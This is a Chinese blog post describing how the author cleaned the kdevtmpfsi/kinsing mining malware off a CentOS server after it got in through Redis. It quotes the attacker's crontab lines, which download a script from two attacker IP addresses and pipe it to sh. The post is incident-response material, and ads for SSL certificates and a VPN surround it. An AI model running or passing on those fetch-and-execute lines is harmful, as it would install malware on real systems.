买泛域名SSL证书 送5斤装现摘猕猴桃一箱、同时提供技开源商城搭建免费技术支持。
泛域名ssl证书 239元1年送1个月、单域名39元1年,Sectigo(原Comodo证书)全球可信证书,强大的兼容性,高度安全性,如有问题7天内可退、可开发票
加微信VX 18718058521 备注SSL证书
【腾讯云】2核2G4M云服务器新老同享99元/年,续费同价
问题描述:
Linux Centos 7 环境下的一台服务器CPU直接被打满,上服务器 top 命令看到了一个未知的 kdevtmpfsi 疯狂占用中,情况如下图:
网上搜索了一下 kdevtmpfsi 是一个挖矿病毒,大多数都是 redis 程序侵入,而且受害者还不少,通常比较明显就是 占用高额的CPU、内存资源。
问题原因:
阿里云公布的威胁快报:https://yq.aliyun.com/articles/741602
Redis RCE导致h2Miner蠕虫病毒,其利用Redis未授权或弱口令作为入口,使用主从同步的方式从恶意服务器上同步恶意module,之后在目标机器上加载此恶意module并执行恶意指令。在以往常见的攻击者或蠕虫中,其大多都沿用登陆redis后写入定时任务或写ssh key的方式进行入侵,这种方式受权限与系统类型影响并不一定能够成功。而此次使用redis加载module的攻击方式,可以直接执行任意指令或拿到shell交互环境,危害极大。
问题解决:
第一步:cd 命令切换到自己 Redis 的安装目录下,然后删除该目录下的 red2.so 文件以及以 kinsing 开头的所有文件。
第二步:crontab -l 命令先看看 crontab 的定时任务列表
[root@VM-0-9-centos /]# crontab -l* * * * * wget -q -O - http://91.241.20.134/scg.sh | sh > /dev/null 2>&1* * * * * wget -q -O - http://185.191.32.198/scg.sh | sh > /dev/null 2>&1
因为我这台服务器根本没设置过 crontab 定时任务,而且这是两个国外(伊朗,俄罗斯)的陌生IP,所以可以断定这就是罪魁祸首。
第三步:crontab -e 命令进行定时任务编辑(该步骤很重要),去除陌生的定时任务(要求在root用户下),在打开的文本中,按 i 进行编辑删除,编辑完后按【Esc退出】键退出编辑,再输入 :wq 强制性写入文件并退出。
[root@VM-0-9-centos /]# crontab -e
第四步:ps -ef|grep kdevtmpfsi 命令查看 kdevtmpfsi 的进程,并且使用 kill -9 PID 杀死kdevtmpfsi 对应的进程
[root@VM-0-9-centos /]# ps -ef |grep kdevtmpfsiroot 40422 1 99 10:16 ? 01:01:16 /tmp/kdevtmpfsiroot 60879 60813 0 10:24 pts/4 00:00:00 grep --color=auto kdevtmpfsi[root@VM-0-9-centos /]#[root@VM-0-9-centos /]# kill -9 40422[root@VM-0-9-centos /]#
第五步:ps -ef|grep kinsing 命令查看kdevtmpfsi程序的守护进程kinsing ,并且使用 kill -9 PID 杀死对应的进程
[root@VM-0-9-centos /]# ps -ef |grep kinsingroot 38560 1 0 10:15 ? 00:00:01 /var/tmp/kinsingroot 62455 60813 0 10:26 pts/4 00:00:00 grep --color=auto kinsing[root@VM-0-9-centos /]#[root@VM-0-9-centos /]# kill -9 38560[root@VM-0-9-centos /]#
第六步:find / -iname kdevtmpfsi 命令再次确定kdevtmpfsi文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序
[root@VM-0-9-centos /]# find / -iname kdevtmpfsi/tmp/kdevtmpfsi[root@VM-0-9-centos /]# rm -rf /tmp/kdevtmpfsi[root@VM-0-9-centos /]#
第七步:find / -iname kinsing 命令再次确定 kinsing 文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序
[root@VM-0-9-centos /]# find / -iname kinsing/var/tmp/kinsing[root@VM-0-9-centos /]# rm -rf /var/tmp/kinsing或者像第一步一样(删除kinsing开头全部相关文件)[root@VM-0-9-centos /]# find / -name "kinsing*" | xargs rm -rf
第八步:cat ~/.ssh/authorized_keys 查看是否有陌生的的公钥,有则删除掉,
问题防护
经过几天的观察,服务器运行正常。
找梯子最重要的就是稳定,这个已经上线三年了,一直稳定没有被封过,赶紧下载备用吧!